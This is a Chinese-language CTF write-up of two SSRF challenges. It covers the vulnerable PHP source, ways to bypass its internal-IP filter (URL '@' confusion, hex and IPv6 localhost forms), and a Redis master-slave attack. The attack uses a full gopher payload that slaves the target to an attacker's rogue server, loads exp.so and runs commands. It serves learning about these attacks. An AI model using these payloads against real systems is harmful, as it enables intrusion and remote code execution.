[第二章 web进阶]SSRF Training
点击即可获得源码
php
<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
?>
源码审计
get方式传参
是否存在url
url不为空就调用safe_request_url()函数
来看一下这个safe_request_url和check_inner_ip两个需要绕过的过滤函数
php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
//检查请求的url是否为正确的格式
try
{
$url_parse=parse_url($url);
}
//parse_url 是 PHP 的一个内置函数。
它用于解析 URL,并返回一个关联数组,包含了 URL 的各个部分,
比如协议、主机名、路径等。
parse_url 函数可以帮助开发者在处理 URL 时更方便地提取其中的信息,例如在这段代码中,它被用来解析用户输入的 URL。
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
//ip2long 是 PHP 中的一个内置函数,用于将 IPv4 地址转换为对应的长整型数字。
IPv4 地址由四个十进制数(每个数范围在 0 到 255 之间)组成,用点分十进制表示(例如:"192.168.1.1")。
ip2long 函数将这种点分十进制表示的 IPv4 地址转换为一个长整型数字,方便进行比较和处理。
这个长整型数字可以更有效地存储和比较,通常用于 IP 地址的操作和计算。
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
//这行代码是在检查给定的 IP 地址是否属于内部 IP 地址范围:
ip2long('127.0.0.0'): 将 IPv4 地址 "127.0.0.0" 转换为长整型数字。
>> 24: 对长整型数字进行右移 24 位,这相当于将 IP 地址的前 3 个字节移出,只留下第一个字节。
== $int_ip >> 24: 比较经过右移操作的 "127.0.0.0" 的结果是否与输入的 IP 地址的前 3 个字节相同。如果相同,则说明该 IP 地址属于 "127.0.0.0/8" 的范围。
同样的逻辑被应用于其他内部 IP 地址范围:
"10.0.0.0/8" 被右移 24 位后与输入 IP 地址的前 3 个字节进行比较。
"172.16.0.0/12" 被右移 20 位后与输入 IP 地址的前 3 个字节进行比较。
"192.168.0.0/16" 被右移 16 位后与输入 IP 地址的前 3 个字节进行比较。
如果给定的 IP 地址匹配了这些范围中的任何一个,则返回 true,否则返回 false。
//综上所述,这里就是一个IP白名单,不允许我们输入类似127.*.*.*、10.*.*.*、172.16.*.*、192.168.*.*
php
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init(); //初始化新的会话,返回 cURL 句柄,供curl_setopt()、 curl_exec() 和 curl_close() 函数使用
curl_setopt($ch, CURLOPT_URL, $url); //访问的域名
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
//curl_setopt函数参数解释:https://www.cnblogs.com/lilyhomexl/p/6278921.html
$output = curl_exec($ch); //执行一个cURL会话并且获取相关回复
$result_info = curl_getinfo($ch);
//php curl请求在curl_exec()函数执行之后,可以使用curl_getinfo()函数获取CURL请求输出的相关信息
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
//if的作用就是如果没有获取到信息,就重复获取,重复执行safe_request_url函数
//最后把exec后的数据dump出来
//var_dump($output);之后就出函数了
//接下来将parse_url后的url赋值给$url_parse
//如果parse_url执行失败,则返回false
var_dump($output);
}
}
绕过
我们最终的目的是要curl 127.0.0.1/flag
然后得到dump
出来的数据
那么该怎么绕过这两重检测呢
parse_url函数的绕过
此函数返回一个关联数组,包含现有 URL 的各种组成部分。如果缺少了其中的某一个,则不会为这个组成部分创建数组项。组成部分为:
- scheme -- 如 http
- host 域名
- port 端口
- pass
- path 路径
- query -- 在问号 ? 之后
- fragment -- 在散列符号 # 之后
此函数并 不 意味着给定的 URL 是合法的,它只是将上方列表中的各部分分开。parse_url() 可接受不完整的 URL,并尽量将其解析正确。
* 注: 此函数对相对路径的 URL 不起作用。*
demo
php
<?php
$url = "http://www.baidu.com/suning?v=1&k=2#id";
echo $url.'</br>';
$parts = parse_url($url);
var_dump($parts);
?>
这是输出
但是如果我们输入http://www.baidu.com@2333.com/suning?v=1&k=2#id
那么结果就会变成
host就会变成@后面的字符
这样我们的host就可控了
回到题目
如果我们输入'http://127.0.0.1:80@baidu.com/flag.php'
这样也无法正确绕过
因为curl_getinfo()函数也无法解析成127.0.0.1
在前面再加一个@
这样curl_getinfo()函数解析的是127.0.0.1:80
而parse_url函数解析的host是www.baidu.com
这样就成功绕过
payload:
[网鼎杯 2020 玄武组]SSRFMe
php
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
代码审计
和上一题的代码菀菀类卿
也是get方式传参
不对
是一模一样的过滤
试了一下
还是有点不一样
正则匹配不同 这里不仅支持http伪协议还支持https|gopher|dict
但是后面的匹配是正常的啊
看不懂
可能@被ban了?
不知道
还可以用0.0.0.0绕过
也可以用环回地址绕过
我自己试下来可以用的有
?url=http://0x7F000001/hint.php
?url=http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php
------------------------------------------更新------------------------------------------
上面那个问题 大佬给出答案
然后我们终于来到第二步
php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
有点不懂下一步的思路是什么
看佬的wp
这里提示 redis pass
要用 redis主从复制来打
redis主从复制
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据时就会通过主从复制复制到其它从redis。
所以我们这题的思路是,创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过 slaveof 命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可。
需要用到的工具
这个ssrf-redis是用于生成gopher伪协议的脚本
我们根据我们的需要修改
这里主机改成我们自己的vps的ip地址
端口需要和rogue-server.py里的端口相同
command改成我们需要rce的命令
这里的passwd改成他提示的root
(注意这里默认打开的exp.so的路径是tmp 记得要不改脚本 要不就是把rogue-server.py和exp.sod都放在tmp)
rogue-server.py主要是创建了一个监听端口为 6666 的恶意 Redis 服务器。当有客户端连接并发送特定命令(如 PING、REPLCONF、PSYNC 或 SYNC)时,服务器会返回相应的响应,其中包括了一个恶意的 PAYLOAD
(要把rogue-server.py和exp.so放在同一个目录下)
先生成gopher伪协议脚本
因为还需要在url中传参,会解码一次,所以还需要url编码一次
启动rogue-server.py 成功执行
就成功反弹shell
然后分析一下这个gopher伪协议
gopher://0.0.0.0:6379/_*2 $4 AUTH $4 root *3 $7 SLAVEOF $14 '**********' $4 6666 *4 $6 CONFIG $3 SET $3 dir $5 /tmp/ *4 $6 config $3 set $10 dbfilename $6 exp.so *3 $6 MODULE $4 LOAD $11 /tmp/exp.so *2 $11 system.exec 14 cat{IFS}/flag *1 $4 quit
总结一下
虽然跟着wp复现完了
但是对于redis主从攻击还是有点云里雾里
哪天要手动构造一下gopher脚本
自己复现一下这个漏洞